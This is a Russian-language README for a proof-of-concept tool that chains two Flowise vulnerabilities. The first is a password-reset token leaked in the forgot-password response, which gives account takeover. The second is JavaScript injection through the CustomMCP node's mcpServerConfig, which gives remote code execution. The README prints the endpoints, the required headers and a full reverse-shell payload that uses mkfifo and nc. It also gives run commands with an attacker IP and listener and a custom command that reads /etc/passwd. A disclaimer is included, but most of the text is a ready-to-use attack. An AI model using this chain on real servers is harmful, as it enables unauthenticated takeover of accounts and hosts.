Модульный PoC для CVE-2025-58434 (захват учетной записи) и CVE-2025-59528 (удаленное выполнение кода) в Flowise. Автоматизирует полную цепочку атак от неавторизованной утечки токена до удаленного выполнения кода через reverse shell или пользовательскую команду.
⚠️ Только для образовательных целей и авторизованных исследований безопасности.
Запуск этого инструмента против систем, которыми вы не владеете или для тестирования которых у вас нет письменного разрешения, является незаконным.
Этот репозиторий объединяет две критические уязвимости в Flowise в единый модульный PoC-инструмент.
| CVE-2025-58434 | CVE-2025-59528 | |
|---|---|---|
| Тип | Перехват учётной записи | Удалённое выполнение кода |
| Требуется аутентификация | Нет | Да (любая действительная учётная запись) |
| CVSS | 9.8 Критический | Критический |
| Затронуты | Облако + Самостоятельный хостинг | Самостоятельный хостинг |
Две уязвимости естественным образом объединяются: CVE-2025-58434 предоставляет неаутентифицированный перехват учётной записи, что удовлетворяет требованию аутентификации для CVE-2025-59528 — достигая неаутентифицированного RCE в одном автоматизированном запуске.
Корневая причина: Конечная точка forgot-password возвращает токен сброса пароля (tempToken) непосредственно в теле HTTP-ответа вместо отправки только по электронной почте.
Шаги атаки:
POST /api/v1/account/forgot-password с любым зарегистрированным emailtempToken из JSON-ответа — доступ к почте не требуетсяPOST /api/v1/account/reset-password с утёкшим токеном → установить новый парольУтёкший ответ (сокращён):
{
"user": {
"email": "[email protected]",
"tempToken": "LEAKED_TOKEN_HERE",
"tokenExpiry": "2025-08-19T13:00:33.834Z",
"status": "active"
}
}
Корневая причина: Узел CustomMCP передаёт предоставленный пользователем mcpServerConfig непосредственно в конструктор Function() в JavaScript без санитизации. Поскольку Flowise работает в Node.js, внедрённый код имеет полный доступ к child_process, fs и всем встроенным модулям Node.js.
Уязвимый путь кода:
POST /api/v1/node-load-method/customMCP
-> convertToValidJSONString()
-> Function('return ' + mcpServerConfig)() ← несанитизированный пользовательский ввод
Необходимые заголовки:
Content-Type: application/json
x-request-from: internal
Cookie: token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>
Полезная нагрузка по умолчанию (обратный шелл):
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
}
}
Примечание: Полезные нагрузки обратного шелла используют
cp.exec()(асинхронно / "запустил и забыл"), поэтому HTTP-запрос завершается немедленно и инструмент не таймаутится. Обычные команды используютcp.execSync()и возвращают вывод встроенно.
Attacker Flowise API
│ │
│ [CVE-2025-58434] │
│ POST /forgot-password {email} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 201 { tempToken: "abc..." } │ ← token утёк в ответе
│ │
│ POST /reset-password │
│ {email, tempToken, newPassword} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 201 OK (tempToken очищен) │ ← ATO завершён
│ │
│ [CVE-2025-59528] │
│ POST /auth/login {email, newPass} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 200 OK + Set-Cookie: token=... │ ← cookies извлечены
│ │
│ POST /node-load-method/customMCP │
│ {mcpServerConfig: <js-revshell>} │
│─────────────────────────────────────►│
│ [exec() срабатывает в фоне]
│◄─────────────────────────────────────│
│ 200 {"shell_fired"} │
│ │
Слушатель nc атакующего ←────────────── Сервер подключается обратно
✓ Полный RCE с нулевыми учётными данными
| Компонент | Статус |
|---|---|
Flowise Cloud (cloud.flowiseai.com) | Затронут CVE-2025-58434 |
| Flowise самост. хостинг (все версии до патча) | Затронут обеими CVE |
Проверьте официальные уведомления безопасности Flowise для номеров исправленных релизов.
flowise-dual-cve-poc/
├── flowise_poc.py # Основной PoC — все модули + режим цепочки
├── requirements.txt # Зависимости Python
├── README.md # Этот файл
└── DISCLAIMER.md # Полное юридическое уведомление
requestsgit clone https://github.com/yourhandle/flowise-dual-cve-poc
cd flowise-dual-cve-poc
pip install -r requirements.txt
Флаг режима не требуется. Если вы запускаете скрипт без --chain или --module, он автоматически запускается в полном режиме цепочки. Полезная нагрузка RCE по умолчанию — обратный шелл — просто укажите --lhost и --lport.
# Минимальный вызов — полная цепочка + обратный шелл
python3 flowise_poc.py \
-u http://flowise.example.com \
-e [email protected] \
--lhost 10.10.16.35 \
--lport 4444
Запустите свой слушатель перед выполнением:
nc -lvnp 4444
python3 flowise_poc.py -h
Выполняет все четыре шага от начала до конца: утечка токена → сброс пароля → вход → RCE.
# Обратный шелл (полезная нагрузка по умолчанию)
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
--lhost 10.10.16.35 --lport 4444
# Пользовательская команда вместо обратного шелла
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
-c "cat /etc/passwd"